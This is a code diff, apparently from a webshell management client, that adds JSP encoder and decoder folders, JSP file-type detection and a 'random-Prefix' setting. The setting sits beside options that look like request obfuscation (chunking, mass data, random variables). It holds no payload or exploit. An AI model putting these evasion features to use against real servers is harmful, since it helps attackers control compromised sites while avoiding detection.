"ignore-https": 0, "ignore-https": 0,
"use-random-variable": 0, "use-random-variable": 0,
"request-timeout": '10000' "request-timeout": '10000',
"random-Prefix": '2'
} }
}, },
terminal: { terminal: {
......
...@@ -760,7 +760,7 @@ module.exports = { ...@@ -760,7 +760,7 @@ module.exports = {
!fs.existsSync(userencoder_path) ? !fs.existsSync(userencoder_path) ?
fs.mkdirSync(userencoder_path) : fs.mkdirSync(userencoder_path) :
null; null;
['asp', 'aspx', 'php', 'custom'].map((t) => { ['asp', 'aspx', 'php', 'jsp', 'custom'].map((t) => {
!fs.existsSync(path.join(userencoder_path, `${t}`)) ? !fs.existsSync(path.join(userencoder_path, `${t}`)) ?
fs.mkdirSync(path.join(userencoder_path, `${t}`)) : fs.mkdirSync(path.join(userencoder_path, `${t}`)) :
null; null;
...@@ -807,7 +807,7 @@ module.exports = { ...@@ -807,7 +807,7 @@ module.exports = {
!fs.existsSync(userdecoder_path) ? !fs.existsSync(userdecoder_path) ?
fs.mkdirSync(userdecoder_path) : fs.mkdirSync(userdecoder_path) :
null; null;
['asp', 'aspx', 'php', 'custom'].map((t) => { ['asp', 'aspx', 'php', 'jsp', 'custom'].map((t) => {
!fs.existsSync(path.join(userdecoder_path, `${t}`)) ? !fs.existsSync(path.join(userdecoder_path, `${t}`)) ?
fs.mkdirSync(path.join(userdecoder_path, `${t}`)) : fs.mkdirSync(path.join(userdecoder_path, `${t}`)) :
null; null;
......
...@@ -267,6 +267,7 @@ class Form { ...@@ -267,6 +267,7 @@ class Form {
"php": /.+\.ph(p[345]?|s|t|tml)/, "php": /.+\.ph(p[345]?|s|t|tml)/,
"aspx": /.+\.as(px|mx)/, "aspx": /.+\.as(px|mx)/,
"asp": /.+\.(as(p|a|hx)|c(dx|er))/, "asp": /.+\.(as(p|a|hx)|c(dx|er))/,
"jsp": /.+\.(jsp[x]?)/,
"custom": /.+\.((jsp[x]?)|cgi)/ "custom": /.+\.((jsp[x]?)|cgi)/
} }
let typecombo = form.getCombo('type'); let typecombo = form.getCombo('type');
...@@ -276,6 +277,8 @@ class Form { ...@@ -276,6 +277,8 @@ class Form {
typecombo.selectOption(typecombo.getOption('aspx').index); typecombo.selectOption(typecombo.getOption('aspx').index);
} else if (file_match.asp.test(id) == true) { } else if (file_match.asp.test(id) == true) {
typecombo.selectOption(typecombo.getOption('asp').index); typecombo.selectOption(typecombo.getOption('asp').index);
} else if (file_match.jsp.test(id) == true) {
typecombo.selectOption(typecombo.getOption('jsp').index);
} else if (file_match.custom.test(id) == true) { } else if (file_match.custom.test(id) == true) {
typecombo.selectOption(typecombo.getOption('custom').index); typecombo.selectOption(typecombo.getOption('custom').index);
} }
...@@ -467,6 +470,7 @@ class Form { ...@@ -467,6 +470,7 @@ class Form {
'ignore-https': 0, 'ignore-https': 0,
'use-multipart': 0, 'use-multipart': 0,
'add-MassData': 0, 'add-MassData': 0,
'random-Prefix': '2',
'use-random-variable': 0, 'use-random-variable': 0,
'use-chunk': 0, 'use-chunk': 0,
'chunk-step-byte-min': 2, 'chunk-step-byte-min': 2,
...@@ -608,9 +612,32 @@ class Form { ...@@ -608,9 +612,32 @@ class Form {
name: 'filemanager-cache', name: 'filemanager-cache',
label: LANG['list']['otherConf']['filemanagerCache'], label: LANG['list']['otherConf']['filemanagerCache'],
checked: opt['filemanager-cache'] === 1 checked: opt['filemanager-cache'] === 1
}, {
type: "label",
label: LANG['list']['otherConf']['randomPrefix']
}, {
type: "combo",
inputWidth: 100,
name: "random-Prefix",
options: ((items) => {
let ret = [];
// 如果自定义的路径不在items里,则++
if (items.indexOf(opt['random-Prefix']) === -1) {
items.unshift(opt['random-Prefix']);
}
items.map((_) => {
ret.push({
text: _,
value: _,
selected: opt['random-Prefix'] === _
})
});
return ret;
})(['1', '2', '3', '5','10','15'])
}, { }, {
type: "label", type: "label",
label: LANG['list']['otherConf']['uploadFragment'] label: LANG['list']['otherConf']['uploadFragment']
}, { }, {
type: "combo", type: "combo",
label: '/kb', label: '/kb',
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment